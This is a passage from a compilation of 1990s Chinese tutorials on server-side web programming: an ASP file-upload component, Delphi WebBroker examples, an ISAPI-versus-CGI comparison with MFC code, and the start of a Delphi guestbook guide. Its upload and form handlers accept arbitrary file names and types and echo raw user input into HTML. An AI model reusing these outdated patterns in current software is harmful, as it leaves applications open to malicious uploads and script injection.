---- value="(UserURL)"，(UserURL)即为上载文件保存位置的URL地址。

---- 说明：文件保存位置的URL地址属性必须设为可写，否则会返回此URL地址没有写的权限。

---- 6 Form中必须有一个submit按钮，即input的属性type="submit"，此按钮即为上载按钮。或者在其他相关事件中调用此Form的Submit方法。但两种方法实际上本质相同，只不过用方法调用还可以在上载前加上其它处理代码，如数据的有效性检查等。

---- 四、完整实例

---- 1 用户上载文件页面UserUpload.asp

    < % response.expires=0 % >
    < HTML >
    < HEAD >
    < META NAME="GENERATOR"
         Content="Microsoft Visual Studio 6.0" >
    < /HEAD >

    < BODY >

    < form enctype="multipart/form-data"
   action="http://dev_d/upload/post/cpshost.dll?
   PUBLISH?http://dev_d/upload/UserUploadAction.asp"
          method=post id=form2 name=form2 >
    < table BORDER=0 CELLSPACING=3 CELLPADDING=3 >
        < tr >
    < td valign=top >< span >1. < /span >
    < td >Press the Browse button and choose
    a File to upload from your computer.
    < br >< input type="file" id=file1 name=file1 >
    < br >< input type="file" id=file2 name=file2 >
    < /td >
    < tr >
    <  TD vAlign=top >< SPAN  >2. < /SPAN >
    < TD >Upload the file.
    < br >< input type=hidden size=80 name="TargetURL"
     value="http://dev_d/upload/post" >
    < input type=submit value='Upload'
    id=submit1 name=submit1 >
    < /td >
    < /table >
    < /form >
    < /BODY >
    < /HTML >

    2 用户上载文件处理页面UserUploadAction.asp
    < % Response.Buffer = TRUE % >
    < % Response.expires=0 % >

    < HTML >
    < BODY >
    < H3 >Upload Status:< BR >< /H3 >

    < span style="color:gray" >< HR >
    < %  For I = 1 To Request.Form("FileName").Count
        Response.Write "Uploaded File: < B >" &
        Request.Form("FileName")(I) &
        Request.Form("FileExtention")(I) &"< /B >< BR >"
    Response.Write "Server Path: < B >" &
    Request.Form("FilePath")(I) & "< /B >< BR >"
    Response.Write "Size: < B >"
    & Request.Form("FileSize")(I)
     & " bytes< /B >< br >"
      Next
        FileName = Request.Form("FilePath")(1) &
    Request.Form("FileName")(1) &
    Request.Form("FileExtention")(1)
    % >
        < hr >< br >
    < %	if request.form("FilePath").count = 0 then
    Response.Write ("No file was received.")
    Response.End
    else
    Response.Write (filename+" File was received.")
    end if	% >
    < /span >
    < /BODY >
    < /HTML >


编写功能完备的ASP文件上载组件

---- 黄明建的“编写Web方式上载文件的ASP组件”（以下简称原文）一文从RFC1867标准出发，分析了上传的二进制文件格式，编写出了具有文件上载功能的ASP组件，突破了多以Perl语言来实现WEB方式上载文件的方法。但原文忽略了以下几个关键问题：

  1. 按照RFC1867标准，上载的文件可以更换新名。在原文的demo.htm中，文本框text1即起到保存新文件名的作用。原文却忽略了这一点，使得text1成为一个并无实际意义的元素；
  2. ActiveX代码部件（ASP组件）的接口函数（类的公有成员函数）是强类型检查，即必须指定形参的具体数据类型而不能使用自动类型（Variant）；但在ASP环境中，所有的变量实际上都是Variant类型，如何使ASP的变量可以作为ASP组件接口函数的实参将关系到ASP组件是否具有实际的应用价值。原文也忽略了这一技术要点；
  3. ASP组件毕竟是基于服务器端的，诸如空提交等的验证应首先在客户端采用VBScript/JavaScript来完成，以避免无用信息的传递。
---- 基于以上几点，本文首先升级了原文的ASP组件版本，使其成为一个功能完备的ASP文件上载组件。

---- 现将原文ASP组件中接口的规范说明总结如下：

---- 1、 功能：取得提交表单中元素的值；
---- 方法名：GetTheValue；
---- 形参：提交表单中元素名称，nm（数据类型：字符串）；
---- 返回值：成功，则为指定的元素在提交表单中的值（数据类型：字符串）；
----------- 失败，则返回零长度字符串。

---- 2、 功能：保存上载文件
---- 方法名：SaveTheFile
---- 形参：1、提交表单中文件类型元素名称，strTag（数据类型：字符串）；
--------- 2、保存目标文件的绝对路径，末尾不带“\”，strPath（数据类型：字符串）；
---- 返回值：成功，则为保存的目标文件名（数据类型：字符串）；
----------- 失败，则返回零长度字符串。

---- 本文升级的ASP组件与原文的ASP组件保持二进制兼容，即保留了原版本的全部接口，并增加了增强的接口，其规范说明如下：

---- 3、 功能：增强型保存上载文件，建议不再使用方法SaveTheFile
---- 方法名：ExSaveTheFile
---- 形参：1、提交表单中文件类型元素名称，strTag（数据类型：字符串）；
--------- 2、保存目标文件的绝对路径，末尾不带“\”，strPath（数据类型：字符串）；
--------- 3、保存的目标文件名(支持长文件名)，strDesFileName（数据类型：字符串）；
---- 此参数可选参数，未指定时，以源文件名作为目标文件名；
---- 返回值：成功，则为保存的目标文件名（数据类型：字符串）；
----------- 失败，则返回零长度字符串。

---- 在ASP上载文件组件的新版本中，调用方法ExSaveTheFile如忽略可选取参数strDesFilename，则可以实现与方法SaveTheFile相同的功能；选取参数时,目标文件名既可以是用户指定的新文件名，也可以根据用户ID或cookie及数据库中的信息来生成，具有较强的实际应用价值。

---- 值得一提的是，在ActiveX DLL工程属性中应设置版本的二进制兼容并选择一个合适的基地址；另外，VB6提供一个打包和展开向导（Package & Deployment Wizard）用于将ActiveX部件打包成CAB文件并可部署到远程IIS服务器上。

---- 其次，解决ASP编程中调用ActiveX部件的参数类型匹配问题。由于ASP环境中变量都是Variant类型，直接以之作为ASP上载文件组件的实参就会产生类型不匹配的错误。根据笔者的经验和对ActiveX部件的反复测试，找到了以下解决方法：

---- 如果VarPara是ASP环境中的变量，则“” & VarPara可以匹配用VB编写的ActiveX部件中string数据类型。

---- 基于客户端的验证只是一个实现策略上的问题，可直接参考下面的例子(新ASP文件上载组件的全限定名改为UpLoad.UploadFile):

---- 示例文件upload.htm 和 示例文件upload.asp，可在此下载。


webserver例子

unit Html;

interface

uses
Windows, Messages, SysUtils, Classes, HTTPApp;

type
TWebModule1 = class(TWebModule)
procedure WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
procedure WebModule1WebActionItem2Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;

var
WebModule1: TWebModule1;

implementation

{$R *.DFM}

procedure TWebModule1.WebModule1WebActionItem1Action(Sender:
TObject;
Request: TWebRequest; Response: TWebResponse; var Handled:
Boolean);
var html:string;
begin
html:='';
html:=html+'< html >< head >< title >会员注册< /title ><
/head >< center >';
html:=html+'< H2 >会员注册< /H2
>< /center >';
html:=html+'< body background=""
bgcolor="#fffff" >< td >< /td >';
html:=html+'< form
action="webcgi.exe\Info" method="post" id="form1" name="form1" style="FONT-SIZE:
larger" >';
html:=html+'< p >姓名:< input size="12"
maxlength="10" name="UserName" >< /p >';
html:=html+'< p
>性别:< input type="radio" name="Sex" value="Man" checked >男';
html:=html+'< input type="radio" name="Sex" value="Woman" >女< /p
>';
html:=html+'< p >年龄:< input size="5" maxlength="3"
name="Age" >< /p >' ;
html:=html+'< p >所在城市:< input
size="20" maxlength="16" name="City" >< /p >' ;
html:=html+'< p >Email:< input size="24" maxlength="30" name="Email"
>< /p >';
html:=html+'< p >留言:< textarea
name="Textarea" rows="5" cols="30" >< /textarea >< /p
>';
html:=html+'< center >< input type="submit"
Name="submit" value=" 提     交 "  >';
html:=html+'< input type="reset" value=" 取    消"
>';
html:=html+'< /form >< /center >';
html:=html+'< /BODY >< /html >';
Response.Content
:=html;
end;

procedure TWebModule1.WebModule1WebActionItem2Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
html:string;
Output: TextFile;
Counts,line:integer;
begin

  Assignfile(Output, 'List.Txt');{如果没有list.txt文件会报错，须先手工创建。}
Append(output);
for counts:=0 to Request.ContentFields.Count-2
do
begin
if counts<
Request.ContentFields.Count-2  then
begin
Write(Output,
Request.ContentFields.Strings[counts]);
for line:=0 to 20-length(Request.ContentFields.Strings[counts])
do
begin
Write(Output,'
');
end;
end
else
begin
Write(Output,
Request.ContentFields.Strings[counts]);
Writeln(Output,' ');
end
;
end;
CloseFile(output);
html:='';
html:=html+'< html >< head >< title >Thank
You!< /title >< /head >< body >';
html:=html+'<
center >< P >< H2
>'+Request.ContentFields.Values['UserName'];
html:=html+'您好！您已注册成功！< /H2 >< /P >';
html:=html+'< A
href="http://zhou/scripts/Webcgi.exe"
>点击这里返回< /A >';
html:=html+'< /center >< /body
>< /html >';
Response.Content :=html;
end;

end.


在客户端改写cookie

 在MSDN中有Internet API，就是定义在Wininet.pas中的函数。
其中有InternetSetCookie和InternetGetCookie，so....:)
注意：用InternetSetCookie如果没有设expire的话，程序退出Cookie就会过期


返回图象

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
Jpg: TJpegImage;
S: TMemoryStream;
begin
Jpg := TJpegImage.Create;
try
Jpg.LoadFromFile('test');
S := TMemoryStream.Create;
try
Jpg.SaveToStream(S);
S.Position := 0;
Response.ContentType := 'image/jpeg';
Response.ContentStream := S;
// Must be done prior to freeing the stream
Response.SendResponse;
finally
S.Free;
end;
finally
Jpg.Free;
end;
end;

///////////////////////////////////////////////////

unit ChartMod;

interface

uses
Windows, Messages, SysUtils, Classes,
HTTPApp, Db, DBTables,
DbChart, Series, Jpeg, ExtCtrls;

type
TWebModule1 = class(TWebModule)
Table1: TTable;
procedure WebModule1ActionAreaAction
(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled:
Boolean);
procedure WebModule1ActionPopulationAction
(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled:
Boolean);
procedure WebModule1Create(Sender: TObject);
procedure WebModule1Destroy(Sender: TObject);
procedure WebModule1AfterDispatch(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean);
private
Chart: TDBChart;
Series: TPieSeries;
Image: TImage;
public
{ Public declarations }
end;

var
WebModule1: TWebModule1;

implementation

{$R *.DFM}

procedure TWebModule1.WebModule1ActionAreaAction(
Sender:
TObject;
Request: TWebRequest; Response: TWebResponse;
var Handled:
Boolean);

begin
// set specific values
Chart.Title.Text.Clear;
Chart.Title.Text.Add ('Area of
Countries');
Chart.LeftAxis.Title.Caption := 'Area';
Series.Title := 'Area';
Series.PieValues.ValueSource :=
'Area';
end;

procedure TWebModule1.WebModule1ActionPopulationAction(
Sender: TObject;
Request: TWebRequest; Response: TWebResponse;
var Handled: Boolean);

begin
// set specific values
Chart.Title.Text.Clear;
Chart.Title.Text.Add ('Population of
Countries');
Chart.LeftAxis.Title.Caption := 'Population';
Series.Title := 'Population';
Series.PieValues.ValueSource :=
'Population';
end;

procedure TWebModule1.WebModule1Create(Sender: TObject);
begin
// open the database table
Table1.Open;
// create the
chart
Chart := TDBChart.Create (nil);
Chart.Width :=
600;
Chart.Height := 400;
Chart.AxisVisible :=
False;
Chart.Legend.Visible := False;
Chart.BottomAxis.Title.Caption := 'Name';
// create the pie
series
Series := TPieSeries.Create (Chart);
Series.ParentChart := Chart;
Series.DataSource := Table1;
Series.XLabelsSource := 'Name';
Series.OtherSlice.Style :=
poBelowPercent;
Series.OtherSlice.Text := 'Others';
Series.OtherSlice.Value := 2;
Chart.AddSeries (Series);
//
create the memory bitmap
Image := TImage.Create (nil);
Image.Width := Chart.Width;
Image.Height := Chart.Height;
end;

procedure TWebModule1.WebModule1Destroy(
Sender: TObject);

begin
Chart.Free;
Series.Free;
Image.Free;
end;

procedure TWebModule1.WebModule1AfterDispatch(
Sender: TObject;
Request: TWebRequest; Response: TWebResponse;
var Handled: Boolean);

var
Jpeg: TJpegImage;
MemStr: TMemoryStream;
begin
// paint the chart on the memory bitmap
Chart.Draw (Image.Canvas, Image.BoundsRect);
// create the jpeg and copy the iamge to it
Jpeg := TJpegImage.Create;
try
Jpeg.Assign (Image.Picture.Bitmap);
MemStr := TMemoryStream.Create;
try
// save to a stream and return it
Jpeg.SaveToStream (MemStr);
MemStr.Position := 0;
Response.ContentType := 'image/jpeg';
Response.ContentStream := MemStr;
Response.SendResponse;
finally
MemStr.Free;
end;
finally
Jpeg.Free;
end;
end;

end.

//////////////////////////////////////////////////////////////////////

Internet/Intranet在九十年代可能是最流行的计算机术语了，不管是计算机行业内的人士还是计算机外的人士，都会使用Internet/Intranet，有的查资料，有的是宣传自己和公司，甚至有许多以前从没有想到用Internet的东西现在也在用Internet来解决，比如有的程控数字计算机维护用Internet来解决。在这一切应用之中，基于Web Server的应用程序的开发是基本点，但如何开发Web Server的程序呢？

Delphi 3是Borland公司1997年推出的可视化、面向对象的高效率的快速应用程序开发工具(RAD)，提供了大量的最新功能，例如开发COM/DCOM，一步开发ActiveX对象，多层数据库应用程序MIDAS等，并且使用Delphi 3开发基于Web服务器的程序，如ISAPI/NSAPI，Win-CGI，CGI程序都十分方便。

使用Delphi 3开发Web Server程序是非常简单，方便的，因为在Delphi中提供了Web Module, WebApplication, TWebRequest,TWebResponse,TPageProducer等大量的对象供使用。而且由于Delphi强大的数据库开发能力，使得Web Server程序的开发更是锦上添花。在本文中主要讨论一般Web Server程序的开发，希望给您一个抛砖引玉的作用。

一般Web Server返回的信息有基于HTML的文字流和图像流，如Jpeg和Gif等。返回文字流的方法是使用TwebResponse.Content，在Delphi 3的Demos中有这样的例程，但如何返回图像呢？

返回图像的方法是用TwebResponse.ContentStream和TjpegImage类。具体实现如下，例如您有三张图片，希望在别人访问您的主页时能随机的显示一张，在您的主页中有如下的HTML语句：<IMG SRC="/scripts/mypict.dll">，那么在您的Web Server的缺省的TwebActiveItem中如下处理：

var
Jpg: TJpegImage;
S: TMemoryStream;

    I: Integer;
Begin
Randomize;
I:= Random(3);
Jpg :=
TJpegImage.Create;
try
Jpg.LoadFromFile('C:\WebShare\Scripts\test'+IntToStr(I)+'.Jpg');
S := TMemoryStream.Create;
try
Jpg.SaveToStream(S);
S.Position := 0;
Response.ContentType := 'image/jpeg';
Response.ContentStream := S;
Response.SendResponse;
finally
S.Free;
end;
finally

Jpg.Free;
end;
end;

因为使用了TJpegImage类，所以必须在Uses中添加对JPEG文件的包含。

以上程序用Microsoft个人Web服务器和Netscape Navigator 4.04调试通过，完整的源程序和可执行代码在我的个人主页(http://www.nease.net/~borland)上，可以下载。

下载源程序(4KB)

说明:下载的源程序稍有修改，显示不是随机的，而是按照访问者访问的次数顺序显示，在程序中包含有Cookie的建立和使用方法，可以参见。


ISAPI与CGI的比较及其实现

龚 建 勇
( 华 中 理 工 大 学 图 像 识 别 与 人 工 智 能 所)
（ 通 信 地 址： 华 中 理 工 大 学 西 五 舍203 室，PC：430074）
摘 要： 本 文 介 绍 了 实 现web 交 互 的 两 种 方 法,CGI 及ISAPI。 对 它 们 的 原
理、 实 现 方 法 作 了 阐 述， 并 就 它 们 的 性 能 进 行 了 比 较。 最 后 简 单 介 绍 了ISAPI 应 用
的 具 体 实 现。
关 键 词： WEB 交 互 CGI ISAPI
一、 引 言

ISAPI 与CGI 都 属 于 通 用 的 网 关 接 口， 主 要 用 来 实 现WWW 服 务 器 与 客 户
端 的 信 息 交 互。
随 着WWW 爆 炸 式 的 发 展 及 其 日 益 普 及, 人 们 的 眼 光 已 被 充 斥 其 上 的 商 机
所 吸 引。 在WWW 上 求 取 经 济 利 益 的 方 式 主 要 有 以 下 几 种:
通 过 为 企 业 等 作 广 告 宣 传 收 取 广 告 费;

向 入 网 观 看 者 收 取 订 阅 费;

直 接 在 网 上 出 售 商 品 和 服 务。
目 前 大 多 数 网 站 提 供 信 息 的 方 式 是 由 用 户 通 过 客 户 浏 览 器(
如Netscape 或Explorer 等) 与WWW 服 务 器 连 接， 然 后 用 鼠 标 点 按 超 连 接 以 浏 览 相 关
主 页。 在 此 过 程 中， 基 本 上 是 服 务 器 向 客 户 端 单 方 向 的 信 息 传 递， 随 着 服 务 需 求 的
不 断 扩 大， 这 种 单 纯 的 单 方 向 传 递 信 息 的 静 态 主 页 已 不 能 满 足 需 求。 不 论 是 服 务

提 供 方 还 是 客 户， 都 希 望 浏 览 服 务 器 将 信 息 发 送 到 用 户 同 时， 用 户 端 也 能 将 信 息
发 送 到 服 务 器 端， 实 现 服 务 器 与 客 户 的 交 互。 典 型 的 应 用 如： 用 户 登 记 表、 用 户 留
言 板 以 及 用 户 通 过WWW 检 索 服 务 器 端 的 数 据 库 等。
要 实 现 一 个 可 与 用 户 交 互 信 息 的 服 务 系 统， 所 需 增 加 的 有 两 项： 交 互 式
主 页 和 用 户 输 入 信 息 处 理 程 序。 交 互 式 主 页 即 有 输 入 信 息 的 编 辑 框， 选 择 菜 单 按

钮 之 类 的 主 页， 以 供 用 户 输 入 信 息； 用 户 输 入 的 信 息 则 交 由 用 户 信 息 处 理 程 序 处
理。 实 现 该 程 序 可 以 有 多 种 途 径， 该 程 序 可 以 放 在 服 务 器 端， 也 可 以 放 在 客 户 机
端， 前 者 如CGI、ISAPI， 后 者 如JAVA APPLET 等。 本 文 只 讨 论 前 者， 将 阐 述ISAPI 的 优
点， 并 就 其 实 现 举 例 说 明。
二、WEB 交 互 环 境 的 实 现
2.1 交 互 式 主 页
要 实 现WEB 上 的 交 互 环 境， 用 户 必 须 能 够 在 他 浏 览 到 的 主 页 上 输 入 信

息， 这 就 是 一 个 交 互 式 的 主 页。 一 般 来 说， 用 户 输 入 信 息 的 形 式 有 填 写 编 辑 框， 点
选 无 线 按 钮 等 选 择 框 及 选 择 下 拉 菜 单 等， 所 以 交 互 主 页 也 必 须 有 这 些 输 入 元 素
项。 下 面 是 一 个 简 单 的 交 互 主 页 例 子：

交 互 式 主 页HTML 源 文 件：isapi1.htm

「HTML」
「TITLE」 TEST 「/TITLE」
「HEAD」
ISAPI TEST
「/HEAD」
「BODY」
「form action="/gjy/isapi1/debug/isapi1.dll?RegisterUser" method=post」
Input your Register Infomation:「br」
Name :「input type="text" name="First"」「br」

Address:「input type="text" name="Middle"」「br」
Email:「input type="text" name="Last"」「br」「p」
「input type="submit"」
「input type="reset" 」「/p」
「/form」
「/body」
「/html」

通 过Explorer 浏 览 器 打 开 该 文 件， 可 以 看 到 如 下 效 果（ 编 辑 框 中 已 输 入
内 容）：
2.2 实 现 交 互 主 页 的 途 径。
从 上 述 主 页 制 作 描 述 可 见， 一 个 交 互 式 主 页 的 制 作 是 很 简 单 的， 但 要 真

正 实 现 与 用 户 的 交 互， 还 必 须 要 有 应 用 程 序 的 参 与。 这 个 程 序 可 以 属 于 多 种 样 式，
如CGI、JAVA APPLET 以 及ISAPI。 在 上 述 主 页 文 件 中， 有 一 项：
「form action="/gjy/isapi1/debug/isapi1.dll?RegisterUser" method=post」
这 里 就 指 明 了 对 应 处 理 该 主 页 输 入 信 息 的 程 序(isapi1.dll)， 这
是ISAPI 的 应 用 程 序 动 态 连 接 库。 对 于CGI 应 用 程 序 也 是 一 样 的 处 理。
一 般 来 说， 该 程 序 的 功 能 就 是 要 将 用 户 输 入 信 息 传 到 服 务 器 应 用 程 序。

CGI 是 大 家 都 比 较 熟 悉 的 一 种 实 现 上 述 功 能 的 有 效 途 径， 也 可 能 是 当
前 最 为 流 行 的 一 种， 而ISAPI 是 微 软 独 特 的 具 有 类 似CGI 功 能 的 网 络 应 用 接 口 标
准。ISAPI 在 性 能 上 较 之CGI 具 有 许 多 优 良 特 性。 下 面 我 们 简 单 介 绍 一 下CGI
与ISAPI 以 及 它 们 之 间 的 性 能 差 别。
三、CGI 原 理 及 其 性 能
3.1 CGI 概 念
CGI 即 通 用 网 关 接 口(Common Gateway Interface)， 它 是 一 个WWW 服 务

器
主 机 对 外 服 务 的 标 准 接 口， 一 般 来 说， 一 个CGI 接 口 的 功 能 就 是 在 超 文
本 文 件 和 服 务 器 主 机 应 用 程 序 间 传 递 信 息。
3.2 CGI 程 序 语 言
事 实 上， 任 何 一 种 程 序 语 言， 只 要 能 在 服 务 器 主 机 上 利 用CGI 接 口 来 编
写 应 用 程 序， 都 可 以 叫 作CGI 程 序 语 言。 目 前 最 为 流 行 的CGI 程 序 语 言 有 四
种：C，Shell,Perl 和Visual Basic, 其 它 一 些 语 言 也 有 许 多 人 在 用，

如TCL,Fortran 及AppleScript 等。
3.3 CGI 程 序 的 执 行
CGI 程 序 一 般 是 个 可 执 行 程 序。 编 译 好 的CGI 程 序 一 般 要 集 中 放 在 一 个
目 录 下。 具 体 存 放 的 位 置 随 操 作 系 统 的 不 同 而 不 同， 例 如UNIX 系 统 下 是 放
在cgi-bin 子 目 录 下， 而 在Windows 操 作 系 统 下( 注 意， 这 里 不 包 括NT4.0)
以Webstar 或Website 作WWW 服 务 器，CGI 程 序 都 放 在cgi-win 下。CGI 程 序 的 执 行 一

般 有 两 种 调 用 方 式：1 是 通 过URL 直 接 调 用，
如：“http://202.114.2.182/cgi-win/cgi.exe”， 在 浏 览 器 的URL 栏 里 直 接 写 入 上
述 描 述 就 可 以 调 用 该 程 序； 另 一 种 方 式， 也 是 主 要 的 方 式, 是 通 过 交 互 式 主 页 里
的FORM 栏 调 用， 通 常 都 是 用 户 在 填 完 一 张 输 入 信 息 主 页 后 按 确 认 按 钮 启 动CGI 程
序， 前 面 的 交 互 主 页 就 是 一 个 如 此 调 用CGI 的 典 型 例 子。
3.4 CGI 工 作 的 主 要 流 程

CGI 工 作 的 主 要 流 程 是：1. 一 个 用 户 请 求 激 活 一 个CGI 应 用 程 序；2.CGI
应 用 程 序 将 交 互 主 页 里 用 户 输 入 信 息 提 取 出 来；3. 将 用 户 输 入 的 信 息 传 给 服 务 器
主 机 应 用 程 序（ 如 数 据 库 查 询〕；4. 将 服 务 器 处 理 结 果 通 过HTML 文 件 返 回 给 用
户；5.CGI 进 程 结 束。
3.5 CGI 的 性 能 评 价
CGI 的 跨 平 台 性 能 极 佳， 几 乎 可 以 在 任 何 操 作 系 统 上 实 现，

如DOS、WINDOWS、UNIX、OS/2、Macintosh 等。 实 现CGI 的 编 程 语 言 也 有 很 多 选 择。CGI
的 应 用 程 序 一 般 都 是 一 个 独 立 的 可 执 行 程 序， 和WWW 服 务 器 各 自 占 据 着 不 同 的 进
程, 而 且 一 般 一 个CGI 程 序 只 能 处 理 一 个 用 户 请 求。 这 样， 每 有 一 个 用 户 请 求， 都 会
激 活 一 个CGI 进 程， 当 用 户 请 求 数 量 非 常 多 时， 会 大 量 挤 占 系 统 的 资 源 如 内 存，CPU
时 间 等， 造 成 效 能 低 下。

四、ISAPI 原 理 及 其 性 能
4.1 ISAPI 概 念
ISAPI 即Internet Server Application Program Interface， 是 微 软
提 供 的 一 套 面 向Internet 服 务 的API 接 口， 它 能 实 现CGI 能 提 供 的 全 部 功 能， 并 在
此 基 础 上 进 行 了 扩 展， 如 提 供 了 过 滤 器 应 用 程 序 接 口。
4.2 ISAPI 程 序 语 言
由 于 开 发ISAPI 应 用 要 用 到 微 软 的 一 套API, 所 以 能 用 来 开 发ISAPI 应 用

的 语 言 不 如CGI 那 么 多。 主 要 有Visual C++ 4.1 以 上 版 本,Visual Basic
5.0、Borland C++ 5.0 也 可 以。
4.3 ISAPI 原 理
ISAPI 的 工 作 原 理 和CGI 大 体 上 是 相 同 的， 都 是 通 过 交 互 式 主 页 取 得 用
户 输 入 信 息， 然 后 交 服 务 器 后 台 处 理。 但 是 二 者 在 实 现 机 制 上 大 相 庭 径。ISAPI
与CGI 最 大 的 区 别 在 于： 不 同 于CGI， 在ISAPI 下 建 立 的 应 用 程 序 是 以 动 态 连 接 库 的

形 式 存 在； 而CGI 的 应 用 程 序 一 般 都 是 可 执 行 程 序。
4.4 ISAPI 程 序 的 执 行
ISAPI 应 用 的 工 作 流 程 与CGI 有 一 些 不 同。ISAPI 应 用 的DLL 不 仅 可 以
象CGI 程 序 一 样 被 用 户 请 求 激 活， 还 可 以 被 系 统 预 先 激 活 来 监 视 用 户 输 入； 对 于 被
用 户 激 活 的DLL， 在 处 理 完 一 个 用 户 请 求 后 不 会 马 上 消 失， 而 是 继 续 驻 留 在 内 存 中
等 待 处 理 别 的 用 户 输 入， 直 到 过 了 一 段 时 间 后 一 直 没 有 用 户 输 入。

4.5 ISAPI 性 能 评 价
一 个ISAPI 的DLL， 可 以 在 被 用 户 请 求 激 活 后 长 驻 内 存， 等 待 用 户 的 另 一
个 请 求， 还 可 以 在 一 个DLL 里 设 置 多 个 用 户 请 求 处 理 函 数， 此 外，ISAPI 的DLL 应 用
程 序 和WWW 服 务 器 处 于 同 一 个 进 程 中， 效 率 要 显 著 高 于CGI。
不 过ISAPI 的 平 台 兼 容 性 较 差， 目 前 只 能 用 于 微 软 自 己 的Windows 95
和NT 操 作 系 统 上， 服 务 器 平 台 也 仅 限 于IIS（Internet Information Server) 和MS

personal web server 以 及NT workstation 上 的peer web server。
五、ISAPI 的 实 现
能 够 支 持ISAPI 开 发 的 平 台 只 有 微 软 的 几 个 平 台 组 合（
如NT+IIS，WIN95+MS personal web server）。 因 此 开 发ISAPI 只 能 这 几 个 平 台 上。
开 发 语 言 前 已 有 述， 这 里 向 大 家 推 荐Visual C++ 4.2 版， 它 的Wizard 提 供 了 专 门
制 作ISAPI 的 功 能 项。
下 面 是 个 简 单 的 例 子， 功 能 是 将 用 户 从 浏 览 器 上 的 输 入 简 单 地 回 显 给

用 户， 功 能 简 单， 但 是 具 备 一 个 典 型 的ISAPI 全 部 流 程。 源 程 序 如 下（ 大 部 分
为Wizard 生 成 的 代 码）：
1. 主 程 序：
// ISAPI1.CPP - Implementation file for your Internet Server
#include "stdafx.h"
#include "isapi1.h"
///////////////////////////////////////////////////////////////////////
// The one and only CWinApp object
// NOTE: You may remove this object if you alter your project to no
// longer use MFC in a DLL.
CWinApp theApp;
///////////////////////////////////////////////////////////////////////
// command-parsing map
BEGIN_PARSE_MAP(CIsapi1Extension, CHttpServer)

/************* My codes begin here ***********/
ON_PARSE_COMMAND(RegisterUser,
CIsapi1Extension, ITS_PSTR ITS_PSTR ITS_PSTR)
ON_PARSE_COMMAND_PARAMS("First Middle Last")
/************* My codes end here ***********/
END_PARSE_MAP(CIsapi1Extension)

///////////////////////////////////////////////////////////////////////
// The one and only CIsapi1Extension object

CIsapi1Extension theExtension;

///////////////////////////////////////////////////////////////////////
// CIsapi1Extension implementation

CIsapi1Extension::CIsapi1Extension()
{
}

CIsapi1Extension::~CIsapi1Extension()
{
}

BOOL CIsapi1Extension::GetExtensionVersion
(HSE_VERSION_INFO* pVer)

{
// Call default implementation for initialization
CHttpServer::GetExtensionVersion(pVer);

// Load description string
TCHAR
sz[HSE_MAX_EXT_DLL_NAME_LEN+1];
ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),
IDS_SERVER,
sz, HSE_MAX_EXT_DLL_NAME_LEN));
_tcscpy(pVer->lpszExtensionDesc,
sz);
return TRUE;
}

///////////////////////////////////////////////////////////////////////
// CIsapi1Extension command handlers
/****** My code begins here**********/
void CIsapi1Extension::RegisterUser
( CHttpServerContext* pctxt, LPCTSTR

pstrFirst, LPCTSTR pstrMiddle, LPCTSTR pstrLast )
{
// do processing here!
*pctxt << _T("Your name is:");
*pctxt << _T(pstrFirst);
*pctxt << _T("\n");
*pctxt << _T("Your Address is:");
*pctxt << _T(pstrMiddle);
*pctxt << _T("\n");
*pctxt << _T("Your E_mail is:");
*pctxt << _T(pstrLast);
}
/********* My codes end here **********/
// Do not edit the following lines,
which are needed by ClassWizard.
#if 0
BEGIN_MESSAGE_MAP(CIsapi1Extension, CHttpServer)
//{{AFX_MSG_MAP(CIsapi1Extension)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif// 0
2. 主 头 文 件

// ISAPI1.H - Header file for your Internet Server
//isapi1 Extension

#include "resource.h"
class CIsapi1Extension : public CHttpServer
{
public:
CIsapi1Extension();
~CIsapi1Extension();

// Overrides
// ClassWizard generated virtual function overrides
// NOTE - the ClassWizard will add and remove member functions here.
//DO NOT EDIT what you see in these blocks of generated code !
//{{AFX_VIRTUAL(CIsapi1Extension)
public:
virtual BOOL GetExtensionVersion(HSE_VERSION_INFO* pVer);
//}}AFX_VIRTUAL

// TODO: Add handlers for your commands here.
/*********** My coded begin here ( 函 数 声 明) *********/
void RegisterUser( CHttpServerContext* pctxt,
LPCTSTR pstrFirst, LPCTSTR
pstrMiddle, LPCTSTR pstrLast );
/*********My codes end here
DECLARE_PARSE_MAP()

//{{AFX_MSG(CIsapi1Extension)
//}}AFX_MSG
};
3. 动 态 连 接 库 定 义 文 件
/*************************************/
/*ISAPI1.def */
/*************************************/
; ISAPI1.def : declares the module parameters for the DLL.
LIBRARY"ISAPI1"
EXPORTS
HttpExtensionProc

GetExtensionVersion
在 上 述 程 序 中， 定 义 了 一 个CHttpServer 的 类CIsapi1Extension， 这 是
该 程 序 的 主 要 一 个 类， 通 过 它 实 现 与 用 户 交 互 的 功 能。 由ON_PARSE_COMMAND 段 实
现 函 数 映 射， 上 述 程 序 中 定 义 了 该DLL 中 的 一 个 成 员 函 数RegisterUser, 其 功 能 就
是 将 用 户 在 编 辑 框 中 输 入 的 信 息 发 送 回 用 户。 关 于 具 体 实 现 细 节， 可 以 参 看VC4.2帮 助 文 档。

将 上 述 文 件 编 译 成DLL 后 放 入 服 务 器 主 机 内WWW 服 务 器 指 定 的 用 户 有 执 行 权 限 的Scripts 目 录 里， 该 目 录 的 逻 辑 名 应 和 交 互 主 页 里 的 一 致。 设 置 完 后， 通 过 浏 览 器 连 到 服 务 器 上， 浏 览 该 主 页， 并 输 入 信 息 到 编 辑 框 中。


制作留言板

用DELPHI制作留言板
北京市融海公司
王炯
---- 现在很多朋友都有了自己的个人主页。有一个留言板主页与访问者交流一下可能是很多网友愿望。但留言板主页不同与一般主页，它不但有主页部分而且还要有数据存储功能。其实用DELPHI的CGI应用程序可以轻松的制作留言板主页。用ELPHI开发CGI应用程序不但可以实现ASP，HTML很难实现的低层操作，而且简化了CGI应用程序开发过程。

---- 1.选择Delphi的菜单File|New，在New标签中选择“Web Server Application”。

---- 然后在选择“CGI Stand-alone executable"，创建一个CGI应用程序。

